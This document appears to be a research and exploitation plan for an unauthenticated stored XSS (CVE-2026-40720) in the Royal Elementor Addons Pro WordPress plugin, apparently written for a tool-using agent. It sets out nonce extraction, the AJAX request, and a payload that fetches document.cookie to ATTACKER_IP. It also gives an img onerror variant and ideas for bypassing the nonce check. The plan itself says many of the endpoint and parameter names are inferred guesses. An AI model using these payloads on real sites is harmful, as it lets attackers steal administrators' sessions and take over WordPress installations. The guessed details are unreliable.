Royal Elementor Addons < 1.7.1041 - Unauthenticated Stored Cross-Site Scripting

This research plan focuses on CVE-2026-40720, a Stored Cross-Site Scripting vulnerability in Royal Elementor Addons Pro. Since the source files were not provided, this plan is based on the vulnerability description and common architectural patterns found in Royal Elementor Addons (WPR).

---

1. Vulnerability Summary

The Royal Elementor Addons Pro plugin fails to adequately sanitize and escape user-supplied data submitted via an unauthenticated endpoint. This data is stored in the database (likely as a form submission, lead, or log entry) and subsequently rendered in the WordPress administrative dashboard or a frontend page without proper output escaping (e.g., using esc_html()). An unauthenticated attacker can inject a malicious <script> payload that executes when an administrator views the stored data.

2. Attack Vector Analysis

• Vulnerable Endpoint: wp-admin/admin-ajax.php
• Vulnerable AJAX Action: wpr_addons_contact_form_submit (inferred based on plugin features) or a similar handler for the "Contact Form" or "Forms" widget.
• HTTP Parameter: Typically wpr_contact_form_message or a field index like field_1, field_2, etc.
• Authentication: None (Unauthenticated).
• Preconditions: A page must exist containing a Royal Elementor "Contact Form" or "Lead" widget.

3. Code Flow (Inferred)

1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=wpr_addons_contact_form_submit.
2. Processing: The plugin's AJAX handler (likely in modules/forms/ or classes/wpr-ajax-handler.php) receives the input.
3. Storage: The input is saved using add_post_meta() (as a submission CPT) or inserted into a custom table (e.g., {$wpdb->prefix}wpr_submissions) without rigorous sanitization (missing wp_kses() or sanitize_text_field()).
4. Sink: An administrator visits the "Royal Addons -> Submissions" (or similar) menu in the dashboard. The plugin retrieves the data and echoes it directly into the HTML table/view without esc_html().

4. Nonce Acquisition Strategy

Royal Elementor Addons Pro typically localizes AJAX configuration data for its widgets.

1. Identify Shortcode: The relevant widget is the "Contact Form".
2. Setup: Create a test page containing the Royal Contact Form.

   # Create page with Royal Contact Form widget (represented via shortcode/block)
   wp post create --post_type=page --post_title="Contact Test" --post_status=publish --post_content='[wpr-contact-form id="123"]'
   

3. Navigate: Use browser_navigate to visit the newly created page.
4. Extraction: Use browser_eval to extract the nonce.
   • Candidate JS Object: WPRConfig or WPR_Addons_Data.
   • Candidate Key: ajax_nonce or nonce.
   • Command: browser_eval("window.WPRConfig?.ajax_nonce")

5. Exploitation Strategy

Step 1: Reconnaissance

Locate the AJAX action and nonce key by inspecting the page source of a page containing a Royal form. Search for wp_localize_script output.

Step 2: Payload Injection

Submit the malicious payload via the http_request tool.

• URL: https://TARGET/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=wpr_addons_contact_form_submit&
  nonce=[EXTRACTED_NONCE]&
  wpr_contact_form_name=Attacker&
  wpr_contact_form_email=attacker@evil.com&
  wpr_contact_form_message=<script>alert(document.domain);fetch('http://ATTACKER_IP/log?c='+document.cookie);</script>
  

Step 3: Triggering the XSS

The payload is now stored. To execute it:

1. Log in as an Administrator.
2. Navigate to the submissions management page: /wp-admin/admin.php?page=wpr-submissions (inferred).
3. The browser will execute the script upon rendering the list of submissions.

6. Test Data Setup

1. Install Plugin: Ensure wpr-addons-pro (version < 1.7.1041) is active.
2. Create Form: Use the Elementor editor to add a "Royal Contact Form" to a page. If using CLI:

   wp post create --post_type=page --post_title="Exploit Page" --post_status=publish --post_content='<!-- wp:royal-elementor-addons/contact-form /-->'
   

3. Capture ID: Note the Post ID to navigate to it for nonce extraction.

7. Expected Results

• Response to Injection: The AJAX request should return a success message (e.g., {"success":true}).
• Database State: The wp_postmeta or custom submission table will contain the raw <script> tag.
• Execution: When viewing the submission in the admin panel, an alert box appearing or a network request to an external server confirms XSS.

8. Verification Steps

1. Check Database: Use WP-CLI to verify the payload is stored unescaped.

   # Search for the payload in postmeta (if stored as CPT)
   wp db query "SELECT meta_value FROM wp_postmeta WHERE meta_value LIKE '%<script>%';"
   
   # Or search the custom table (adjust table name based on discovery)
   wp db query "SELECT * FROM wp_wpr_submissions WHERE message LIKE '%<script>%';"
   

2. Verify Admin UI: Use browser_navigate to the submissions page and check for the injected script in the DOM.

9. Alternative Approaches

• Lead Generation Widget: If the Contact Form isn't the entry point, check the "Lead Popups" or "Subscription" widgets, which use similar logic for capturing unauthenticated user data.
• Tracking Parameters: Check if the plugin logs unauthenticated URL parameters (like UTM tags) into an admin dashboard view.
• Different Payloads: Use an <img> tag with onerror if <script> tags are partially filtered:

  <img src=x onerror="alert(1)">
  

• Bypass Nonce: Check if the wpr_addons_contact_form_submit handler (or similar) calls check_ajax_referer with the third argument $die set to false, effectively ignoring the result of the nonce check.